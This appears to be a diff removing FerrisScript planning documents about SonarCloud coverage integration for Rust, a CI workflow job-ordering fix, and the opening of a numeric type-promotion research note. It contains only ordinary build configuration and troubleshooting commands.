-- ❌ Property `sonar.rust.lcov.reportPaths` does not exist
-- ✅ Codecov remains the primary and ONLY coverage tool for Rust code
-
-**Resolution**: This document is kept for historical reference. See:
-
-- **`docs/COVERAGE_STRATEGY.md`** - Current coverage strategy (Codecov for Rust)
-- **`docs/planning/technical/SONARCLOUD_RUST_LIMITATION_ANALYSIS.md`** - Full analysis
-- **`docs/planning/v0.0.4/SONARCLOUD_COVERAGE_INVESTIGATION_SUMMARY.md`** - Investigation summary
-
----
-
-## 🎯 Overview (Historical)
-
-This document describes the **attempted** integration of code coverage reporting into SonarCloud for FerrisScript's Rust codebase.
-
-**Original Goal**: Enable SonarCloud to receive and display code coverage metrics alongside quality metrics.
-
-**Original Approach**: Low-effort LCOV integration (assumed native SonarCloud support for Rust).
-
-**Actual Result**: SonarCloud does not support Rust language, making this integration impossible.
-
----
-
-## 📊 Coverage Tool Chain
-
-### Current Coverage Reporting (Dual Integration)
-
-```mermaid
-graph LR
-    A[cargo tarpaulin] --> B[Cobertura XML]
-    A --> C[LCOV .info]
-    B --> D[Codecov]
-    C --> E[SonarCloud]
-```
-
-**Tools**:
-
-1. **cargo-tarpaulin**: Rust code coverage tool (installed in CI)
-2. **Cobertura XML**: Format for Codecov (existing integration)
-3. **LCOV**: Format for SonarCloud (newly added)
-
-**Benefit**: Both services receive coverage data with no duplication of effort.
-
----
-
-## 🔧 Implementation Details
-
-### 1. CI Workflow Changes
-
-**File**: `.github/workflows/code-scanning.yml`
-
-**Before**:
-
-```yaml
-- name: Generate coverage
-  run: cargo tarpaulin --workspace --out Xml --output-dir coverage
-```
-
-**After**:
-
-```yaml
-- name: Generate coverage
-  run: cargo tarpaulin --workspace --out Xml --out Lcov --output-dir coverage
-```
-
-**Change**: Added `--out Lcov` flag to generate `coverage/lcov.info` file.
-
-**Impact**:
-
-- ✅ No additional CI time (both formats generated in single run)
-- ✅ No additional storage cost (LCOV file is small)
-- ✅ Maintains existing Codecov integration (Cobertura still generated)
-
----
-
-### 2. SonarCloud Configuration
-
-**File**: `sonar-project.properties`
-
-**Added**:
-
-```properties
-# Coverage report paths (LCOV format for Rust)
-# Generated by cargo-tarpaulin in CI (code-scanning.yml)
-sonar.rust.lcov.reportPaths=coverage/lcov.info
-```
-
-**What This Does**:
-
-- Tells SonarCloud where to find coverage data
-- Uses LCOV format (natively supported for Rust)
-- Path is relative to repository root
-
----
-
-## 📋 Verification Steps
-
-### After Next CI Run
-
-1. **Check SonarCloud Dashboard**:
-   - Navigate to: <https://sonarcloud.io/project/overview?id=dev-parkins_FerrisScript>
-   - Look for "Coverage" metric (should show ~64%)
-   - Quality gate status may change based on coverage thresholds
-
-2. **Verify LCOV File Generation**:
-   - Check CI logs for `coverage/lcov.info` creation
-   - Confirm file exists in coverage job artifacts
-
-3. **Compare with Codecov**:
-   - Codecov: <https://codecov.io/gh/dev-parkins/FerrisScript>
-   - SonarCloud coverage should match Codecov (both ~64%)
-
----
-
-## 🔍 Format Comparison
-
-### LCOV vs. Cobertura
-
-| Feature | LCOV | Cobertura |
-|---------|------|-----------|
-| **Format** | Line-based text | XML |
-| **Coverage Types** | Line, function | Line, branch, statement |
-| **SonarCloud Support** | ✅ Native (Rust) | ⚠️ Limited (Java/Python) |
-| **Codecov Support** | ✅ Supported | ✅ Preferred |
-| **File Size** | Small (~50KB) | Medium (~200KB) |
-| **Human Readable** | Yes | No (XML) |
-
-**Why LCOV for SonarCloud**:
-
-- SonarCloud expects LCOV for Rust projects (per documentation)
-- No conversion/parsing needed
-- Low effort, high reliability
-
-**Why Cobertura for Codecov**:
-
-- Codecov prefers Cobertura for richer metrics (branch coverage)
-- Already configured and working
-
----
-
-## 🎯 Coverage Goals by Version
-
-### v0.0.3 (Current)
-
-- ✅ **64.54%** overall coverage
-- ✅ Excellent coverage on new features (error system 99%+)
-- ⚠️ Known gaps: Godot (0%), AST (13.4%), Lexer (60.8%)
-
-### v0.0.4 (Target)
-
-- 🎯 **70-75%** overall coverage
-- Focus: Godot integration tests (0% → 60%)
-- Focus: Lexer edge cases (60.8% → 75%)
-
-### v0.1.0 (Target)
-
-- 🎯 **80%+** overall coverage
-- Focus: AST display tests (13.4% → 60%)
-- Focus: Runtime edge cases (60.2% → 75%)
-- Focus: Type checker complex scenarios (68% → 80%)

-
-## 🚨 Troubleshooting
-
-### Issue: SonarCloud Not Showing Coverage
-
-**Symptoms**: Quality gate passes but coverage shows 0% or "N/A"
-
-**Causes**:
-
-1. LCOV file not generated (check CI logs)
-2. Wrong file path in `sonar-project.properties`
-3. SonarQube scanner ran before coverage job completed
-4. Coverage file not uploaded to scanner
-
-**Solutions**:
-
-1. Verify `cargo tarpaulin --out Lcov` runs successfully
-2. Check `coverage/lcov.info` exists in CI artifacts
-3. Ensure coverage job runs before SonarQube job (dependency)
-4. Verify `sonar.rust.lcov.reportPaths` path is correct
-
-### Issue: Coverage Mismatch Between Codecov and SonarCloud
-
-**Symptoms**: Codecov shows 64%, SonarCloud shows 60%
-
-**Causes**:
-
-1. Different coverage calculation methods (line vs. branch)
-2. Excluded files differ between tools
-3. LCOV vs. Cobertura format differences
-
-**Solutions**:
-
-1. Small differences (±5%) are normal and acceptable
-2. Both tools use same source data (tarpaulin)
-3. Focus on trends, not absolute numbers
-
-### Issue: CI Job Fails After Adding LCOV
-
-**Symptoms**: `cargo tarpaulin --out Lcov` fails
-
-**Causes**:
-
-1. Older version of tarpaulin doesn't support `--out Lcov`
-2. Conflicting output formats
-
-**Solutions**:
-
-1. Update tarpaulin: `cargo install cargo-tarpaulin --force`
-2. Check tarpaulin version: `cargo tarpaulin --version` (need 0.20+)
-
----
-
-## 📊 Expected SonarCloud Quality Gate Impact
-
-### Before Integration
-
-- ✅ Code Smells: A (0 issues)
-- ✅ Security Hotspots: A (0 issues)
-- ⚠️ Coverage: N/A (no data)
-- ⚠️ Quality Gate: May fail due to missing coverage
-
-### After Integration
-
-- ✅ Code Smells: A (0 issues)
-- ✅ Security Hotspots: A (0 issues)
-- ✅ Coverage: 64.54%
-- ✅ Quality Gate: Should pass (if threshold ≤65%)
-
-**Note**: SonarCloud default coverage threshold is typically 80% for new code. We may need to adjust this for alpha releases.
-
----
-
-## 🎉 Success Criteria
-
-**This integration is successful when**:
-
-- [x] CI generates `coverage/lcov.info` file
-- [x] SonarCloud configuration updated with LCOV path
-- [ ] SonarCloud dashboard shows coverage percentage (verify after next CI run)
-- [ ] Coverage matches Codecov within ±5%
-- [ ] Quality gate reflects actual coverage status
-- [ ] No breaking changes to existing Codecov integration
-
-**Next Steps** (After Verification):
-
-1. Monitor SonarCloud dashboard after next develop push
-2. Adjust quality gate thresholds if needed
-3. Document any issues in TROUBLESHOOTING.md
-4. Update v0.0.4 roadmap with coverage goals
-
----
-
-## 🔄 Maintenance
-
-### Regular Tasks
-
-- **Weekly**: Check SonarCloud dashboard for coverage trends
-- **Per Release**: Update coverage goals in roadmap documents
-- **As Needed**: Adjust quality gate thresholds
-
-### Known Limitations
-
-1. **Godot Bind Coverage**: 0% (no tests yet) - affects overall percentage
-2. **AST Coverage**: 13.4% (display code) - low impact but affects metrics
-3. **SonarCloud Free Tier**: Limited historical data (may lose trends after 30 days)
-
-### Future Enhancements
-
-- [ ] Add coverage badge to README (v0.1.0)
-- [ ] Set up coverage alerts for regressions (v0.1.0)
-- [ ] Integrate coverage reports into PR comments (v0.0.5)

-# SonarCloud Rust Coverage - Fundamental Limitation Analysis
-
-**Date**: October 8, 2025  
-**Issue**: SonarCloud showing 0% coverage on Rust code  
-**Root Cause**: SonarCloud does NOT have native Rust language support  
-**Status**: Requires alternative approach or acceptance of limitation
-
----
-
-## 🚨 Critical Discovery
-
-### The Fundamental Problem
-
-**SonarCloud does NOT support Rust as a language.**
-
-**Supported Languages** (verified October 8, 2025):
-
-- ✅ Java, C#, JavaScript/TypeScript, Python, Go
-- ✅ PHP, Kotlin, Ruby, Scala, Swift, Objective-C
-- ✅ HTML, CSS, XML
-- ❌ **Rust** (not supported)
-
-**What This Means**:
-
-- SonarCloud cannot analyze Rust code for quality issues
-- SonarCloud cannot parse Rust coverage reports (LCOV or otherwise)
-- The property `sonar.rust.lcov.reportPaths` **does not exist**
-- SonarCloud only sees Rust files as "unknown" or "generic" files
-
----
-
-## 🔍 What's Actually Happening
-
-### Current SonarCloud Analysis
-
-**What SonarCloud IS analyzing**:
-
-- ✅ TypeScript files in `extensions/vscode/` (VSCode extension)
-- ✅ Markdown files (documentation)
-- ✅ YAML files (CI workflows)
-- ✅ JSON files (configuration)
-
-**What SonarCloud is NOT analyzing**:
-
-- ❌ Rust files in `crates/` (language not supported)
-- ❌ Rust coverage from tarpaulin (no Rust analyzer to consume it)
-
-**Current Quality Gate Failure**:
-
-```
-❌ 0.0% Coverage on New Code (required ≥ 80%)
-   └─ Analyzing: TypeScript files (no coverage provided)
-   
-❌ 7.3% Duplication on New Code (required ≤ 3%)
-   └─ Analyzing: Likely VSCode extension or docs
-```
-
----
-
-## 💡 Why the Configuration Doesn't Work
-
-### What We Tried
-
-```properties
-# sonar-project.properties
-sonar.rust.lcov.reportPaths=coverage/lcov.info
-```
-
-**Why This Fails**:
-
-1. Property `sonar.rust.lcov.reportPaths` is **not a real SonarCloud property**
-2. SonarCloud has no Rust language plugin
-3. LCOV file is generated but never consumed
-4. Even with Generic Test Coverage, SonarCloud won't map it to Rust files
-
----
-
-## 🎯 Available Solutions
-
-### Option 1: Accept Limitation (Recommended) ⭐
-
-**Action**: Use SonarCloud for TypeScript, disable for Rust coverage
-
-**Pros**:
-
-- ✅ Simple and honest approach
-- ✅ SonarCloud still provides value for TypeScript/docs
-- ✅ Use Codecov for Rust coverage (already working)
-- ✅ No complex workarounds needed
-
-**Cons**:
-
-- ⚠️ Quality gate will always fail on coverage
-- ⚠️ Two separate tools (SonarCloud + Codecov)
-
-**Implementation**:
-
-1. Adjust SonarCloud quality gate to not require coverage
-2. Use Codecov as primary coverage tool (already at 64.54%)
-3. Use SonarCloud for TypeScript analysis only
-4. Document this limitation
-
----
-
-### Option 2: Generic Test Coverage (Complex, Limited Value)
-
-**Action**: Convert LCOV to SonarCloud's Generic Test Coverage XML format
-
-**Example Conversion** (LCOV → Generic XML):
-
-```xml
-<coverage version="1">
-  <file path="crates/compiler/src/lexer.rs">
-    <lineToCover lineNumber="10" covered="true"/>
-    <lineToCover lineNumber="11" covered="false"/>
-    <!-- ... -->
-  </file>
-</coverage>
-```
-
-**Pros**:
-
-- ✅ SonarCloud might accept the coverage report
-- ✅ Coverage percentage could show up
-
-**Cons**:
-
-- ❌ Still no code quality analysis for Rust
-- ❌ Requires custom conversion script (medium effort)
-- ❌ SonarCloud won't understand Rust syntax
-- ❌ Coverage is the ONLY metric (no smells, bugs, security)
-- ❌ Maintenance burden for conversion script
-
-**Effort**: Medium (2-4 hours to implement + maintain)

-### Option 3: Use Alternative Tools for Rust
-
-**Action**: Replace SonarCloud with Rust-native tools
-
-**Rust Quality Tools**:
-
-- **Clippy**: Linting (already using)
-- **Cargo-audit**: Security vulnerabilities
-- **Cargo-deny**: License and dependency checks
-- **Cargo-tarpaulin**: Coverage (already using → Codecov)
-- **Cargo-outdated**: Dependency updates
-
-**Pros**:
-
-- ✅ Purpose-built for Rust
-- ✅ Better Rust-specific analysis
-- ✅ Native integration with Cargo
-
-**Cons**:
-
-- ⚠️ No centralized dashboard like SonarCloud
-- ⚠️ Multiple tools to configure
-- ⚠️ Lose SonarCloud's unified view
-
----
-
-### Option 4: Disable SonarCloud for Rust, Keep for TypeScript
-
-**Action**: Configure SonarCloud to only analyze VSCode extension
-
-**Implementation**:
-
-```properties
-# sonar-project.properties
-sonar.projectKey=dev-parkins_FerrisScript
-sonar.organization=dev-parkins
-
-# Only analyze TypeScript/JavaScript (VSCode extension)
-sonar.sources=extensions/vscode/src
-sonar.tests=extensions/vscode/src
-
-# Exclude Rust code from analysis
-sonar.exclusions=crates/**,target/**
-
-# TypeScript coverage (if available)
-sonar.typescript.lcov.reportPaths=extensions/vscode/coverage/lcov.info
-```
-
-**Pros**:
-
-- ✅ SonarCloud works correctly for what it supports
-- ✅ Quality gate can pass (only TypeScript analyzed)
-- ✅ Clear separation of concerns
-- ✅ Codecov handles Rust coverage
-
-**Cons**:
-
-- ⚠️ Need to generate TypeScript coverage separately
-- ⚠️ SonarCloud dashboard won't show Rust metrics
-
----
-
-### Option 5: cargo-sonar (Investigated & Rejected)
-
-**Action**: Use `cargo-sonar` to convert Clippy/coverage to SonarCloud format
-
-**What cargo-sonar Does**:
-
-- Converts Clippy warnings → SonarCloud "external issues"
-- Converts tarpaulin/grcov coverage → SonarCloud format
-- Provides basic metrics (LOC, complexity)
-- Automates report generation and conversion
-
-**Pros**:
-
-- ✅ Shows Rust code in SonarCloud (better than nothing)
-- ✅ Automates conversion (no manual scripts)
-- ✅ CI-ready (GitHub Actions compatible)
-- ✅ Leverages existing Clippy + tarpaulin setup
-
-**Cons**:
-
-- ❌ Additional dependency to maintain (cargo-sonar installation)
-- ❌ Additional CI time (~2-3 minutes per run)
-- ❌ Issues appear as "External Issues" (limited metadata)
-- ❌ No native Rust semantic analysis (just repackaged Clippy)
-- ❌ Duplicates existing quality gates (Clippy already in CI)
-- ❌ Inferior coverage UX vs. Codecov (no Rust-specific features)
-- ❌ Questionable value: What do we gain over Clippy + Codecov?
-
-**Why Rejected**:
-
-1. **Marginal value**: We already have excellent Rust tooling (Clippy + Codecov)
-2. **Duplicates existing gates**: Clippy already enforces quality in CI
-3. **Inferior coverage UX**: Codecov is superior for Rust coverage visualization
-4. **Additional complexity**: Another dependency to maintain for unclear benefit
-5. **Not industry standard**: Most Rust projects use Clippy + Codecov directly
-6. **Time cost**: +2-3 minutes CI time for repackaging existing data
-
-**When cargo-sonar WOULD make sense**:
-
-- Polyglot monorepo (Rust + Java + Python) needing unified dashboard
-- Organization mandate: "All projects must use SonarCloud"
-- Team unfamiliar with Rust tooling, needs SonarCloud UI consistency
-- Want historical SonarCloud trend data (vs. Codecov trends)
-
-**Our case**: Single-language Rust project with minimal TypeScript. No organizational mandate. Team comfortable with Rust tooling. Current setup is superior.
-
-**Effort**: Medium (but rejected for cost/benefit reasons)
-

-
----
-
-## ✅ Recommended Approach: Option 1 + Option 4 Hybrid
-
-**Best Solution**: Accept SonarCloud limitation for Rust, configure correctly for TypeScript
-
-### Implementation Steps
-
-**1. Update `sonar-project.properties`**:
-
-```properties
-sonar.projectKey=dev-parkins_FerrisScript
-sonar.organization=dev-parkins
-
-# Explicitly set sources (TypeScript + documentation)
-sonar.sources=extensions/vscode/src,docs
-
-# Exclude Rust code and build artifacts
-sonar.exclusions=crates/**,target/**,**/*.rs
-
-# Coverage: Codecov for Rust (primary), SonarCloud for TypeScript (if generated)
-# sonar.typescript.lcov.reportPaths=extensions/vscode/coverage/lcov.info
-
-# Quality gate: Relax coverage requirement (Rust not measurable here)
-# (Configure in SonarCloud UI, not properties file)
-```
-
-**2. Adjust SonarCloud Quality Gate**:
-
-In SonarCloud dashboard:
-
-- Navigate to **Project Settings → Quality Gates**
-- Create custom gate or modify default:
-  - Coverage on New Code: **0%** or **Not Required** (since Rust unmeasurable)
-  - Duplication on New Code: **10%** (more realistic for alpha)
-  - Maintain: Security issues, code smells, bugs
-
-**3. Document Coverage Strategy**:
-
-```markdown
-## Test Coverage Strategy
-
-### Rust Code Coverage
-- **Tool**: Codecov (via cargo-tarpaulin)
-- **Current**: 64.54%
-- **Target**: 70-75% (v0.0.4), 80%+ (v0.1.0)
-- **Dashboard**: https://codecov.io/gh/dev-parkins/FerrisScript
-
-### TypeScript Coverage (VSCode Extension)
-- **Tool**: SonarCloud (when/if implemented)
-- **Current**: Not measured
-- **Future**: Add jest/vitest coverage for extension
-
-### Why Two Tools?
-- SonarCloud does not support Rust language
-- Codecov provides excellent Rust coverage visualization
-- SonarCloud valuable for TypeScript quality analysis
-```
-
----
-
-## 🔧 Immediate Actions
-
-### 1. Update sonar-project.properties
-
-```properties
-sonar.projectKey=dev-parkins_FerrisScript
-sonar.organization=dev-parkins
-
-# Focus on analyzable languages
-sonar.sources=extensions/vscode/src,docs
-sonar.exclusions=crates/**,target/**,**/*.rs
-
-# Remove invalid Rust coverage property
-# sonar.rust.lcov.reportPaths=coverage/lcov.info  # This property doesn't exist
-```
-
-### 2. Update Quality Gate in SonarCloud UI
-
-- Set "Coverage on New Code" to **Not Required** or **0%**
-- Adjust duplication threshold to **10%** (realistic for alpha)
-- Keep security and reliability metrics
-
-### 3. Update Documentation
-
-- Add `COVERAGE_STRATEGY.md` explaining tool split
-- Update `SONARCLOUD_COVERAGE_INTEGRATION.md` with limitation notes
-- Update `POST_RELEASE_IMPROVEMENTS.md` to remove SonarCloud Rust coverage
-
-### 4. Remove LCOV Download from SonarQube Job
-
-Since SonarCloud can't use it anyway:
-
-```yaml
-sonarqube:
-  name: SonarQube Quality Scan
-  needs: coverage
-  steps:
-    - uses: actions/checkout@...
-      with:
-        fetch-depth: 0
-    
-    # REMOVE: Download coverage reports (SonarCloud can't use Rust LCOV)
-    # - name: Download coverage reports
-    #   uses: actions/download-artifact@v4
-    
-    - name: SonarQube Scan
-      uses: SonarSource/sonarqube-scan-action@...
-```
-
----
-
-## 📈 Expected Results After Fix
-
-### SonarCloud Dashboard
-
-**Before** (Current State):
-
-- ❌ Quality Gate: FAILED
-- Coverage: 0% (trying to measure unmeasurable Rust)
-- Duplication: 7.3% (too strict)
-
-**After** (Recommended Configuration):
-
-- ✅ Quality Gate: PASSED
-- Coverage: N/A or 0% (acknowledged as not applicable)
-- Duplication: Within adjusted threshold
-- Focus: TypeScript quality, documentation quality
-
-### Codecov Dashboard
-
-**Unchanged** (Already Working):
-
-- ✅ Coverage: 64.54%
-- ✅ Rust code fully measured
-- ✅ Pull request comments and tracking
-
----
-
-## 🎯 Long-Term Strategy
-
-### v0.0.4 and Beyond
-
-**Rust Coverage**: Continue using Codecov (excellent support)
-
-**TypeScript Coverage**: Add coverage for VSCode extension
-
-- Use Jest or Vitest
-- Generate LCOV for SonarCloud
-- Set realistic thresholds (70%+)
-
-**Quality Tools**:
-
-- Rust: Clippy (linting), Cargo-audit (security)
-- TypeScript: SonarCloud (quality + coverage)
-- Both: CodeQL (security scanning)
-
-**Dashboard Strategy**:
-
-- **Codecov**: Primary coverage visualization
-- **SonarCloud**: Code quality and security
-- **GitHub**: Unified view via PR checks
-
----
-
-## 💡 Key Takeaway
-
-**SonarCloud + Rust = Incompatible**
-
-This is NOT a configuration issue. It's a fundamental limitation:
-
-- SonarCloud cannot analyze Rust code
-- No amount of LCOV configuration will fix this
-- Codecov is the correct tool for Rust coverage
-- SonarCloud remains valuable for TypeScript analysis
-
-**Action Required**: Accept this limitation and configure tools appropriately for their strengths.

-**Last Updated**: October 8, 2025  
-**Status**: Root cause identified, solution path clear  
-**Next Action**: Update sonar-project.properties to exclude Rust, adjust quality gate

-# SonarQube Coverage Integration - Workflow Fix
-
-**Date**: October 8, 2025  
-**Issue**: SonarQube showing 0.0% coverage despite LCOV generation  
-**Root Cause**: Jobs running in parallel - SonarQube scans before coverage is generated  
-**Status**: Fixed with workflow dependency chain
-
----
-
-## 🐛 Problem Analysis
-
-### Issue Reported
-
-SonarQube dashboard showing **0.0% coverage** despite:
-
-- ✅ Tarpaulin generating LCOV format (`--out Lcov`)
-- ✅ `sonar-project.properties` configured with `sonar.rust.lcov.reportPaths=coverage/lcov.info`
-- ✅ Coverage job completing successfully
-
-### Root Cause Identified
-
-**Timing Issue**: Jobs were running **in parallel**, not sequentially.
-
-**Evidence from workflow run `18355233555`**:
-
-```
-Job: Code Coverage (Codecov)
-  Started:   2025-10-08T19:04:38Z
-  Completed: 2025-10-08T19:08:48Z  (4 min 10 sec)
-
-Job: SonarQube Quality Scan  
-  Started:   2025-10-08T19:04:38Z
-  Completed: 2025-10-08T19:05:56Z  (1 min 18 sec)
-```
-
-**The Problem**:
-
-1. Both jobs start at the **same time** (19:04:38Z)
-2. SonarQube finishes **first** (19:05:56Z) - scans code with **NO coverage data**
-3. Coverage generates **after** (19:08:48Z) - LCOV file created **too late**
-4. SonarQube never sees the coverage file
-
-**Why This Happened**:
-
-Original workflow structure (before fix):
-
-```yaml
-jobs:
-  sonarqube:    # No dependencies - starts immediately
-    ...
-  
-  codecov:      # No dependencies - starts immediately
-    ...
-```
-
-Both jobs are **independent**, so GitHub Actions runs them in **parallel** for speed.
-
----
-
-## ✅ Solution Implemented
-
-### New Workflow Structure
-
-**Key Changes**:
-
-1. **Renamed job**: `codecov` → `coverage` (more accurate name)
-2. **Added dependency**: `sonarqube` now `needs: coverage`
-3. **Artifact sharing**: Coverage reports uploaded and downloaded between jobs
-4. **Separate PR job**: Lightweight SonarQube scan for PRs (no coverage needed)
-
-### Workflow Diagram
-
-**Before (Parallel Execution)** ❌:
-
-```
-[Push to develop]
-     ├─→ [SonarQube Scan] (1.5 min) ✓ NO COVERAGE DATA
-     └─→ [Generate Coverage] (4 min) ✓ Creates LCOV too late
-```
-
-**After (Sequential Execution)** ✅:
-
-```
-[Push to develop]
-     └─→ [Generate Coverage] (4 min)
-            └─→ Upload artifacts (cobertura.xml, lcov.info)
-                ├─→ [Upload to Codecov]
-                └─→ [SonarQube Scan] (1.5 min) ✓ HAS COVERAGE DATA
-```
-
----
-
-## 🔧 Technical Implementation
-
-### 1. Coverage Job (Renamed from `codecov`)
-
-```yaml
-coverage:
-  name: Generate Coverage Report
-  if: |
-    github.event_name == 'push' && 
-    (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop')
-  runs-on: ubuntu-latest
-  steps:
-    # ... Generate coverage with tarpaulin ...
-    
-    # NEW: Upload as artifacts for other jobs
-    - name: Upload coverage reports as artifacts
-      uses: actions/upload-artifact@v4
-      with:
-        name: coverage-reports
-        path: |
-          coverage/cobertura.xml
-          coverage/lcov.info
-        retention-days: 7
-    
-    # Still upload to Codecov as before
-    - name: Upload coverage to Codecov
-      uses: codecov/codecov-action@...
-```
-
-**Why This Works**:
-
-- Generates **both** Cobertura and LCOV in one run
-- Uploads to Codecov immediately
-- **Saves as artifacts** for SonarQube to download
-
----
-
-### 2. SonarQube Job (Now Depends on Coverage)
-
-```yaml
-sonarqube:
-  name: SonarQube Quality Scan
-  needs: coverage  # ← CRITICAL: Wait for coverage to finish
-  if: |
-    always() &&
-    github.event_name == 'push' && 
-    (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop')
-  runs-on: ubuntu-latest
-  steps:
-    - uses: actions/checkout@...
-      with:
-        fetch-depth: 0
-    
-    # NEW: Download coverage reports from previous job
-    - name: Download coverage reports
-      uses: actions/download-artifact@v4
-      with:
-        name: coverage-reports
-        path: coverage
-    
-    # Now scan with coverage data available
-    - name: SonarQube Scan
-      uses: SonarSource/sonarqube-scan-action@...
-```
-
-**Why This Works**:
-
-- `needs: coverage` ensures this job **waits** until coverage completes
-- Downloads artifacts to `coverage/` directory (same path as generation)
-- `sonar-project.properties` points to `coverage/lcov.info` (now exists!)
-- SonarQube scanner picks up coverage data correctly
-
----
-
-### 3. PR-Only SonarQube Job (Lightweight)
-
-```yaml
-sonarqube-pr:
-  name: SonarQube Quality Scan (PR)
-  if: github.event_name == 'pull_request'
-  runs-on: ubuntu-latest
-  steps:
-    # Simple scan without coverage (coverage job doesn't run on PRs)
-    - uses: actions/checkout@...
-    - name: SonarQube Scan
-      uses: SonarSource/sonarqube-scan-action@...
-```
-
-**Why This Matters**:
-
-- PRs don't generate coverage (by design - saves CI time)
-- Still get quality scan (code smells, security)
-- Separate job avoids dependency failures
-
----
-
-## 📊 Expected Results
-
-### After Next Push to Develop
-
-**Execution Order**:
-
-1. ✅ **Coverage job** runs (~4 minutes)
-   - Generates `coverage/cobertura.xml`
-   - Generates `coverage/lcov.info`
-   - Uploads to Codecov
-   - Saves as artifacts
-
-2. ✅ **SonarQube job** runs (~1.5 minutes)
-   - Waits for coverage to finish
-   - Downloads coverage artifacts
-   - Scans with coverage data present
-   - **Coverage should show ~64%** (matching Codecov)
-
-**SonarQube Dashboard Changes**:
-
-- **Before**: Coverage: 0.0% (or N/A)
-- **After**: Coverage: ~64.5% (matching tarpaulin report)
-
----
-
-## 🔍 Verification Steps
-
-### 1. Check Workflow Execution
-
-After next push to develop:
-
-```bash
-gh run list --workflow="Code Scanning & Coverage" --limit 1
-gh run view <run-id> --json jobs --jq '.jobs[] | {name, conclusion, startedAt, completedAt}'
-```
-
-**Expected**:
-
-- `coverage` job completes first
-- `sonarqube` job starts **after** coverage completes
-- Both show `conclusion: success`
-
-### 2. Verify Artifacts
-
-```bash
-gh run view <run-id> --log | grep -i "upload\|download"
-```
-
-**Expected**:
-
-- "Upload coverage reports as artifacts" succeeds
-- "Download coverage reports" succeeds
-- Both files present: `cobertura.xml`, `lcov.info`
-
-### 3. Check SonarQube Dashboard
-
-Navigate to: <https://sonarcloud.io/project/overview?id=dev-parkins_FerrisScript>
-
-**Expected**:
-
-- **Coverage**: ~64.5% (previously 0.0%)
-- **Quality Gate**: Should pass (if threshold ≤65%)
-- **Coverage files**: 1 file processed (lcov.info)
-
-### 4. Compare with Codecov
-
-Navigate to: <https://codecov.io/gh/dev-parkins/FerrisScript>
-
-**Expected**:
-
-- Coverage percentages should match (±2%)
-- Both use same source data (tarpaulin)
-
----
-
-## 🚨 Potential Issues & Solutions
-
-### Issue 1: Artifact Not Found
-
-**Symptom**: `sonarqube` job fails with "Artifact not found"
-
-**Cause**: `coverage` job failed or didn't upload artifacts
-
-**Solution**:
-
-- Check `coverage` job logs for tarpaulin errors
-- Verify `coverage/` directory exists after generation
-- Check artifact upload step succeeded
-
-### Issue 2: Coverage Still 0.0%
-
-**Symptom**: SonarQube shows 0% despite artifacts downloaded
-
-**Causes**:
-
-1. LCOV file path mismatch
-2. LCOV file format issue
-3. SonarQube property incorrect
-
-**Solutions**:
-
-```bash
-# Check artifact contents
-gh run view <run-id> --log | grep "coverage/"
-
-# Verify LCOV file format (should start with "SF:")
-cat coverage/lcov.info | head -5
-
-# Double-check sonar-project.properties
-grep lcov sonar-project.properties
-```
-
-### Issue 3: Job Dependency Loop
-
-**Symptom**: Workflow never starts or jobs stuck pending
-
-**Cause**: Circular dependency or incorrect `needs:` configuration
-
-**Solution**:
-
-- Verify `needs: coverage` only in `sonarqube` job
-- No other jobs depend on `sonarqube`
-
----
-
-## 📝 Files Changed
-
-### Modified
-
-**`.github/workflows/code-scanning.yml`**:
-
-- Renamed `codecov` job → `coverage`
-- Added artifact upload step (cobertura.xml + lcov.info)
-- Added `sonarqube` job with `needs: coverage` dependency
-- Added artifact download step in `sonarqube` job
-- Added separate `sonarqube-pr` job for pull requests
-
-### Not Changed
-
-**`sonar-project.properties`**: No changes needed, already configured correctly
-
----
-
-## 🎯 Success Criteria
-
-This fix is successful when:
-
-- [x] Workflow modified to use job dependencies
-- [x] Coverage job uploads artifacts
-- [x] SonarQube job downloads artifacts
-- [ ] Next push to develop shows coverage execution order (coverage → sonarqube)
-- [ ] SonarQube dashboard shows ~64% coverage (verify after next run)
-- [ ] Coverage matches Codecov within ±2%
-- [ ] No workflow errors or artifact issues
-
----
-
-## 💡 Why This Fix Works
-
-**Before**:
-
-- Jobs ran in parallel (faster but wrong order)
-- SonarQube scanned before coverage existed
-- LCOV file never seen by SonarQube scanner
-
-**After**:
-
-- Jobs run sequentially (coverage → sonarqube)
-- Coverage generates and saves LCOV file
-- SonarQube downloads and scans with coverage
-- Proper data flow ensures visibility
-
-**Trade-off**:
-
-- ⚠️ Slightly longer CI time (+30 seconds for artifact upload/download)
-- ✅ Correct coverage reporting (worth the delay)
-
----
-
-## 🔄 Related Documentation
-
-**Updated**:
-
-- This document (workflow fix explanation)
-
-**Should Update**:
-
-- `SONARCLOUD_COVERAGE_INTEGRATION.md` - Add workflow dependency details
-- `CI_WORKFLOW_DUPLICATION_ANALYSIS.md` - Note coverage job renamed
-
----
-
-**Last Updated**: October 8, 2025  
-**Status**: Fix implemented, awaiting verification on next develop push  
-**Next Action**: Monitor workflow run to verify coverage appears in SonarQube

-# Type Promotion & Numeric Type System Research
-
-**Date**: October 7, 2025  
-**Status**: Research & Planning  
-**Target Version**: TBD (v0.1.0+ consideration)  
-**Priority**: Medium-Low (Feature investigation, not blocking)
-
----
-
-## 🎯 Research Objective
-
-Investigate type promotion strategies for FerrisScript's numeric type system to:
-
-1. Understand Godot's type expectations and compatibility
-2. Analyze other game engines' numeric type systems
-3. Evaluate automatic type promotion (32-bit → 64-bit) for overflow scenarios
-4. Consider support for smaller types (8-bit, 16-bit) for performance
-5. Leverage static typing advantages for explicit type control
-6. Recommend roadmap placement for implementation
-
----
-
-## 📊 Current State: FerrisScript v0.0.3
-
-### Numeric Types Supported
-
-- `i32` - 32-bit signed integer (-2,147,483,648 to 2,147,483,647)
-- `f32` - 32-bit floating-point (IEEE 754 single precision)
-
-### Current Limitations
-
-- **No overflow protection**: `i32` arithmetic wraps on overflow (Rust default behavior)
-- **No type promotion**: `i32 + i32 = i32` (even if result overflows)
-- **No 64-bit support**: Cannot represent larger integers or higher-precision floats
-- **No smaller types**: No `i8`, `i16`, `u8`, `u16` for memory optimization
-- **Fixed at compile time**: No runtime type upgrading
-
-### Example Problems
-
-```rust
-// Current FerrisScript behavior (matches Rust)
-let big: i32 = 2000000000;
-let result: i32 = big + big;  // Wraps to negative value (overflow!)
-
-// What user might expect (with promotion)
-let big: i32 = 2000000000;
-let result: i64 = big + big;  // Auto-promotes to i64 = 4000000000
-```
-
----
-
-## 🎮 Game Engine Analysis
-
-### 1. Godot Engine
-
-#### GDScript (Dynamic Typing)
-
-**Type System**:
-
-- Uses `Variant` type internally (can hold any type)
